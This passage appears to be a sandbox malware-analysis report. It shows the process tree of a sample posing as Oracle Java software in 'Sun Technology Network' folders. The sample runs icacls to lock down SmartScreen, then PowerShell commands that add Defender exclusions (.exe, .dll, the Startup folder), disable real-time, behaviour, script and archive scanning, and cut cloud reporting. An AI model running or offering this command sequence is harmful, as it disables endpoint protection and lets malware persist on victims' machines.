C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\smartscreen.exe" /inheritance:r /remove *S-1-5-32-544 *S-1-5-11 *S-1-5-32-545 *S-1-5-184⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2876
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Add-MpPreference -ExclusionExtension ".exe""4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:808
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Add-MpPreference -ExclusionExtension ".dll""4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2648
-
-
C:\Windows\SysWOW64\cmd.execmd /c powershell.exe -command "Set-MpPreference -MAPSReporting 0"4⤵
- Suspicious use of WriteProcessMemory
PID:3544 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -MAPSReporting 0"5⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1004
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -PUAProtection disable"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2804
-
-
C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\Register.exeRegister.exe4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
PID:2180
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -EnableControlledFolderAccess Disabled"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:800
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath '"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3700
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $true"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2792
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -DisableBehaviorMonitoring $true"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:212
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -DisableIOAVProtection $true"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3052
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -DisablePrivacyMode $true"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2736
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3172
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -DisableArchiveScanning $true"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4176
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -DisableIntrusionPreventionSystem $true"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4244
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -DisableScriptScanning $true"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4380
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -SubmitSamplesConsent 2"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4524
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -ScanScheduleDay 8"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4668
-
-
-
-
C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\j_service.exe"C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\j_service.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1252